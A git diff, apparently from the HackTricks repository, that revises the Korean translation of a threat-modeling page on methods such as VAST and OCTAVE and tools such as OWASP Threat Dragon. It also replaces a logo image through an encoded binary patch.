모델링): 이 접근 방식은 더 접근 가능하도록 하며 민첩한 개발 환경에 통합됩니다. 다른 방법론의 요소를 결합하고 **위협의 시각적 표현**에 중점을 둡니다. +5. **VAST** (시각적, 민첩하고 간단한 위협 모델링): 이 접근 방식은 더 접근 가능하도록 하며 Agile 개발 환경에 통합됩니다. 다른 방법론의 요소를 결합하고 **위협의 시각적 표현**에 중점을 둡니다. 6. **OCTAVE** (운영상 중요한 위협, 자산 및 취약점 평가): CERT 조정 센터에서 개발한 이 프레임워크는 **특정 시스템이나 소프트웨어보다는 조직의 위험 평가**에 중점을 둡니다. ## 도구 @@ -52,7 +54,7 @@ CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기 ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASP의 오픈 소스 프로젝트로, Threat Dragon은 시스템 다이어그램 작성과 위협/완화 자동 생성을 위한 규칙 엔진을 포함하는 웹 및 데스크톱 애플리케이션입니다. +OWASP의 오픈 소스 프로젝트인 Threat Dragon은 시스템 다이어그램 작성과 위협/완화 자동 생성을 위한 규칙 엔진을 포함하는 웹 및 데스크톱 애플리케이션입니다. **사용법** @@ -78,9 +80,9 @@ SpiderSuite Crawler와 같은 도구를 사용하여 영감을 얻을 수 있으
-엔터티에 대한 간단한 설명: +엔티티에 대한 간단한 설명: -- 프로세스 (웹 서버 또는 웹 기능과 같은 엔터티 자체) +- 프로세스 (웹 서버 또는 웹 기능과 같은 엔티티 자체) - 액터 (웹사이트 방문자, 사용자 또는 관리자와 같은 사람) - 데이터 흐름 라인 (상호작용의 지표) - 신뢰 경계 (다른 네트워크 세그먼트 또는 범위) @@ -96,16 +98,19 @@ SpiderSuite Crawler와 같은 도구를 사용하여 영감을 얻을 수 있으
-액터 위협과 프로세스 위협 간에는 차이가 있다는 점을 기억하세요. 액터에 위협을 추가하면 "스푸핑"과 "부인"만 선택할 수 있습니다. 그러나 우리의 예에서는 프로세스 엔터티에 위협을 추가하므로 위협 생성 상자에서 다음과 같이 볼 수 있습니다: +액터 위협과 프로세스 위협 간에는 차이가 있다는 점을 기억하세요. 액터에 위협을 추가하면 "스푸핑"과 "부인"만 선택할 수 있습니다. 그러나 우리의 예에서는 프로세스 엔티티에 위협을 추가하므로 위협 생성 상자에서 다음과 같이 볼 수 있습니다:
6. 완료 -이제 완성된 모델은 다음과 같이 보일 것입니다. 이것이 OWASP Threat Dragon으로 간단한 위협 모델을 만드는 방법입니다. +이제 완성된 모델은 다음과 같아야 합니다. 이것이 OWASP Threat Dragon으로 간단한 위협 모델을 만드는 방법입니다.
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) 이는 소프트웨어 프로젝트의 설계 단계에서 위협을 찾는 데 도움을 주는 Microsoft의 무료 도구입니다. STRIDE 방법론을 사용하며, Microsoft 스택에서 개발하는 사람들에게 특히 적합합니다. + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/images/cyberhelmets-logo.png b/src/images/cyberhelmets-logo.png index c2c9a957b2fb7845264fb4cacb4e0534afa85660..f766e953ae0067247e1a176c851aed6976a9f144 100644 GIT binary patch delta 15394 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 delta 15181 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 